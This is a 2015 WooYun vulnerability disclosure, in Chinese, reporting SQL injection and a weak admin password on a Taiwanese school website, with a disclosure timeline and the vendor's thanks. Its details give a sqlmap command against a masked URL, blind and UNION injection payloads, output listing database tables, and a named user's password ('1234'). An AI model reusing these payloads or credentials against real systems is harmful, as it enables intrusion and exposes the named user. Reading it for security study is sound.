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缺陷编号:wooyun-2015-0158149

漏洞标题:台湾某学校存在后台弱口令可修改密码及sql注入敏感信息泄露(臺灣地區)

相关厂商:台湾某学校

漏洞作者: 卖女孩的小火柴

提交时间:2015-12-04 17:39

修复时间:2016-01-21 18:22

公开时间:2016-01-21 18:22

漏洞类型:后台弱口令

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-12-04: 细节已通知厂商并且等待厂商处理中
2015-12-08: 厂商已经确认,细节仅向厂商公开
2015-12-18: 细节向核心白帽子及相关领域专家公开
2015-12-28: 细节向普通白帽子公开
2016-01-07: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

过滤不严谨造成注入且有弱口令

详细说明:

注入点:http://**.**.**.**/~twvs/teach/teach_detail.php?teach_no=3
代码:sqlmap.py -u "http://**.**.**.**/~twvs/teach/teach_detail.php?teach_no=3" -p "teach_no"
用户名:陳藝昕
弱口令:1234

漏洞证明:

Parameter: teach_no (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: teach_no=3 AND 3824=3824
Type: UNION query
Title: MySQL UNION query (61) - 63 columns
Payload: teach_no=3 UNION ALL SELECT 61,61,61,61,61,61,61,61,61,61,61,61,61,
61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61
,61,61,61,61,61,CONCAT(0x717a7a7071,0x66496d74756d514c5151,0x716a787a71),61,61,6
1,61,61,61,61,61,61,61,61,61,61,61,61,61,61#
---
[23:20:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5
Database: mysql
[17 tables]
+---------------------------+
| user |
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |

QQ图片20151203232716.png


+---------------------------+

修复方案:

版权声明:转载请注明来源 卖女孩的小火柴@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-12-08 07:25

厂商回复:

感謝通報

最新状态:

暂无


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